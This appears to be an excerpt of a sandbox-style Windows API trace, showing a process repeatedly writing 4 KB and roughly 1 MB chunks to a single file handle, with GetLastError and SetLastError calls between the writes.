[0107.190] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0107.190] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0107.216] GetLastError () returned 0x0
[0107.216] SetLastError (dwErrCode=0x0)
[0107.216] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0107.216] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0107.241] GetLastError () returned 0x0
[0107.241] SetLastError (dwErrCode=0x0)
[0107.241] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0107.241] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0107.340] GetLastError () returned 0x0
[0107.341] SetLastError (dwErrCode=0x0)
[0107.341] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0107.341] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0107.368] GetLastError () returned 0x0
[0107.368] SetLastError (dwErrCode=0x0)
[0107.368] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0107.368] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0107.394] GetLastError () returned 0x0
[0107.394] SetLastError (dwErrCode=0x0)
[0107.394] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0107.395] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0107.464] GetLastError () returned 0x0
[0107.464] SetLastError (dwErrCode=0x0)
[0107.464] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0107.464] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0107.489] GetLastError () returned 0x0
[0107.490] SetLastError (dwErrCode=0x0)
[0107.490] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0107.490] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0107.558] GetLastError () returned 0x0
[0107.558] SetLastError (dwErrCode=0x0)
[0107.558] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0107.558] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0107.589] GetLastError () returned 0x0
[0107.589] SetLastError (dwErrCode=0x0)
[0107.589] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0107.589] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0107.614] GetLastError () returned 0x0
[0107.614] SetLastError (dwErrCode=0x0)
[0107.615] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0107.615] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0107.641] GetLastError () returned 0x0
[0107.641] SetLastError (dwErrCode=0x0)
[0107.641] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0107.641] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0107.666] GetLastError () returned 0x0
[0107.666] SetLastError (dwErrCode=0x0)
[0107.666] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0107.667] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0107.692] GetLastError () returned 0x0
[0107.692] SetLastError (dwErrCode=0x0)
[0107.692] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0107.693] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0107.718] GetLastError () returned 0x0
[0107.718] SetLastError (dwErrCode=0x0)
[0107.718] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0107.718] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0107.744] GetLastError () returned 0x0
[0107.744] SetLastError (dwErrCode=0x0)
[0107.744] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0107.744] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0107.770] GetLastError () returned 0x0
[0107.771] SetLastError (dwErrCode=0x0)
[0107.771] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0107.771] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0108.054] GetLastError () returned 0x0
[0108.054] SetLastError (dwErrCode=0x0)
[0108.055] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0108.055] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0108.155] GetLastError () returned 0x0
[0108.156] SetLastError (dwErrCode=0x0)
[0108.156] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0108.156] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0108.182] GetLastError () returned 0x0
[0108.182] SetLastError (dwErrCode=0x0)
[0108.182] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0108.182] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0108.208] GetLastError () returned 0x0
[0108.208] SetLastError (dwErrCode=0x0)
[0108.208] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0108.208] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0108.255] GetLastError () returned 0x0
[0108.255] SetLastError (dwErrCode=0x0)
[0108.255] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0108.255] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0108.281] GetLastError () returned 0x0
[0108.281] SetLastError (dwErrCode=0x0)
[0108.281] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0108.282] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0108.319] GetLastError () returned 0x0
[0108.319] SetLastError (dwErrCode=0x0)
[0108.319] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0108.319] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0108.344] GetLastError () returned 0x0
[0108.344] SetLastError (dwErrCode=0x0)
[0108.344] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0108.345] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0108.371] GetLastError () returned 0x0
[0108.371] SetLastError (dwErrCode=0x0)
[0108.371] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0108.371] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0108.397] GetLastError () returned 0x0
[0108.397] SetLastError (dwErrCode=0x0)
[0108.397] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0108.397] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0108.465] GetLastError () returned 0x0
[0108.465] SetLastError (dwErrCode=0x0)
[0108.465] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0108.465] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0108.490] GetLastError () returned 0x0
[0108.490] SetLastError (dwErrCode=0x0)
[0108.490] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0108.490] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0108.562] GetLastError () returned 0x0
[0108.562] SetLastError (dwErrCode=0x0)
[0108.563] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0108.563] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0108.588] GetLastError () returned 0x0
[0108.588] SetLastError (dwErrCode=0x0)
[0108.588] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0108.589] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0108.618] GetLastError () returned 0x0
[0108.618] SetLastError (dwErrCode=0x0)
[0108.618] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0108.618] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0108.644] GetLastError () returned 0x0
[0108.644] SetLastError (dwErrCode=0x0)
[0108.644] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0108.644] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0108.734] GetLastError () returned 0x0
[0108.734] SetLastError (dwErrCode=0x0)
[0108.734] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0108.735] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0108.762] GetLastError () returned 0x0
[0108.762] SetLastError (dwErrCode=0x0)
[0108.762] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0108.763] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0108.829] GetLastError () returned 0x0
[0108.829] SetLastError (dwErrCode=0x0)
[0108.830] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0108.830] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0108.959] GetLastError () returned 0x0
[0108.959] SetLastError (dwErrCode=0x0)
[0108.960] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0108.960] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0108.985] GetLastError () returned 0x0
[0108.985] SetLastError (dwErrCode=0x0)
[0108.985] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0108.985] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.011] GetLastError () returned 0x0
[0109.011] SetLastError (dwErrCode=0x0)
[0109.011] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.011] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.038] GetLastError () returned 0x0
[0109.038] SetLastError (dwErrCode=0x0)
[0109.038] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.038] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.063] GetLastError () returned 0x0
[0109.063] SetLastError (dwErrCode=0x0)
[0109.064] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.064] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.089] GetLastError () returned 0x0
[0109.089] SetLastError (dwErrCode=0x0)
[0109.089] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.089] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.144] GetLastError () returned 0x0
[0109.144] SetLastError (dwErrCode=0x0)
[0109.145] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0109.145] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0109.206] GetLastError () returned 0x0
[0109.206] SetLastError (dwErrCode=0x0)
[0109.206] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
